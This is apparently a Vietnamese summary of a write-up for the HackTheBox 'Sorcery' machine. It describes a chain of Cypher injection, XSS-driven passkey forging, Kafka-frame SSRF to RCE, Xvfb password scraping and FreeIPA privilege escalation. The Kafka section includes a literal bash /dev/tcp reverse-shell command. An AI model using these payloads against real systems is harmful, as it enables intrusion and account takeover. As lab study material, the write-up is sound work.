TL;DR

Sorcery là máy Insane Linux của tomadimitrie trên HackTheBox, release 14/06/2025 và retire 25/04/2026. Writeup của 0xdf chain 6 lỗ hổng "không đụng hàng": Cypher injection sinh ra từ Rust derive macro, stored XSS dùng để bắt headless Chrome admin đăng ký passkey của attacker, Kafka wire protocol làm SSRF để RCE container DNS, đọc framebuffer Xvfb để rút mật khẩu, reverse một binary .NET để sinh OTP Docker Registry, và cuối cùng abuse role FreeIPA qua LDAP để leo root.

What's new

Sorcery đáng chú ý vì hầu hết các kỹ thuật trong chain đều ít gặp trên HackTheBox:

  • Cypher injection sinh ra từ một derive macro Rust — bug nằm ở meta-programming, không phải ở code application.
  • WebAuthn forging qua XSS — payload XSS không đi steal cookie mà bắt headless Chrome admin tự đăng ký một passkey do attacker kiểm soát.
  • Kafka làm SSRF — admin debug tool cho phép gửi byte tuỳ ý tới host:port, attacker tự dựng frame Kafka Produce bằng tay để bơm message vào topic dns, mà consumer của topic này pipe thẳng message vào bash -c.
  • Xvfb framebuffer scraping — kỹ thuật cũ ~2010 nay vẫn dùng được để đọc password mà user gõ vào virtual display.

Why it matters

Đây không phải các trick chỉ tồn tại trong CTF. Mỗi primitive đều ánh xạ vào một anti-pattern thực tế ngoài production:

  • Rust an toàn không có nghĩa là code bạn an toàn: derive macro tạo query bằng format! sẽ né được mọi linter và mọi review "bằng mắt", vì lỗi nằm trong code generated.
  • Microservice estate dùng Kafka/queue làm command bus rất hay vô tình trao quyền execute cho bất kỳ ai gửi được message vào topic. Một SSRF nhỏ trong panel admin có thể nuốt cả container DNS.
  • Passkey không miễn nhiễm với XSS: nếu trang đăng ký passkey nằm chung origin với một sink XSS, attacker có thể chiếm tài khoản mà không cần biết mật khẩu.
  • FreeIPA role design nếu lỏng (cho phép đổi password user khác + bootstrap sudo) sẽ tạo ra một con đường root rất ngắn từ tài khoản thường.

Technical facts

Stack máy: Next.js (port 3000) → Nginx (443) → backend Rust Rocket (8000) → Neo4j (7687) → Kafka KRaft (9092) → Rust DNS consumer. Phụ trợ: Gitea 1.22.1, MailHog, vsftpd, FreeIPA, Docker Registry. Externally chỉ expose 22 và 443.

Cypher injection — root cause: macro Model trong backend-macros/src/lib.rs nội suy input thẳng vào query bằng format!:

let query_string = format!(
    r#"MATCH (result: {} {{ {}: \"{}\" }}) RETURN result"#,
    struct_name, name_string, name
);

Đóng property map bằng }) rồi nối UNION ALL MATCH (c: Config) RETURN ... để leak registration_key của seller (giá trị thực: dd05d743-b560-45dc-9a09-43ab18c7a513).

XSS → passkey chain: field description của product render qua dangerouslySetInnerHTML. Mỗi product mới tạo, backend spawn headless Chrome với JWT admin scope hẹp (xem product + register passkey). Payload XSS load JS thực hiện 5 bước:

  1. Gọi server action startRegistration qua header Next-Action
  2. Bắn challenge WebAuthn về Flask listener của attacker
  3. Sinh keypair ECDSA, ký attestation giả (authData flags 0x45 = UP|UV|AT)
  4. POST finishRegistration với credential giả
  5. Bot giờ "đăng nhập" admin bằng passkey attacker đang giữ

Kafka wire SSRF: debug tool nhận host:port + dữ liệu hex. Tự build frame Kafka Produce với api_key=0, correlation_id=1, client_id="0xdf", body bash -i >& /dev/tcp/10.10.14.61/443 0>&1 rồi đẩy vào topic dns. Consumer đọc message và pipe thẳng vào shell → reverse shell trong container DNS.

Comparison

Chỉ sốSorceryInsane neighbors (Eighteen, DarkZero, Imagery)
Số primitive lạ6 (Cypher inj, passkey XSS, Kafka SSRF, Xvfb, .NET TOTP, FreeIPA)2–3 mỗi box
Source review yêu cầuRust + TypeScript + .NET + Rust macro1–2 ngôn ngữ
Số container chain5+ (frontend, backend, Neo4j, Kafka, DNS, Registry)2–3
Trick nổi bật nhấtWebAuthn forging từ XSSthường là RCE pháp truyền thống

Use cases

  • Web app pentesters — template hoàn chỉnh cho chain dangerouslySetInnerHTML + Next.js Server Action abuse + WebAuthn forging.
  • Red team trong môi trường Kubernetes/microservice — Kafka-as-SSRF và "DNS consumer pipes to bash" là blueprint thực tế cho breakout giữa các service.
  • AppSec review Rust — ví dụ sống cho chuyện một derive macro "an toàn về memory" vẫn đẻ ra string-concat injection.
  • OSCP / CPTS / HTB Insane preppers — bài tập end-to-end source review → exploit dev → pivot 5 container.
  • FreeIPA / AD admins — minh hoạ rất rõ rủi ro khi role design cho phép modify password user khác + bootstrap sudo.

Limitations & pricing

Sorcery là Insane — tier khó nhất của HackTheBox. Một player kinh nghiệm cũng cần vài session tập trung mới root được. Trong giai đoạn active (14/06/2025 → 25/04/2026) máy yêu cầu HTB VIP/VIP+. Sau retire 25/04/2026, máy free cho mọi member. Để theo writeup không bị đứt mạch cần thoải mái với Rust + TypeScript source review, hand-crafting binary protocol, decompile .NET (ví dụ dotPeek), và bộ tool Kerberos/LDAP (kinit, klist, ldapmodify).

What's next

0xdf vẫn duy trì rhythm post writeup mỗi tuần khi máy retire. Sorcery xếp cạnh các bài gần đây: Eighteen (11/04), DarkZero (04/04), Principal (30/03). Toàn bộ archive có thể search tại htb-interactive.

Nguồn: 0xdf — HTB Sorcery writeup, tweet gốc.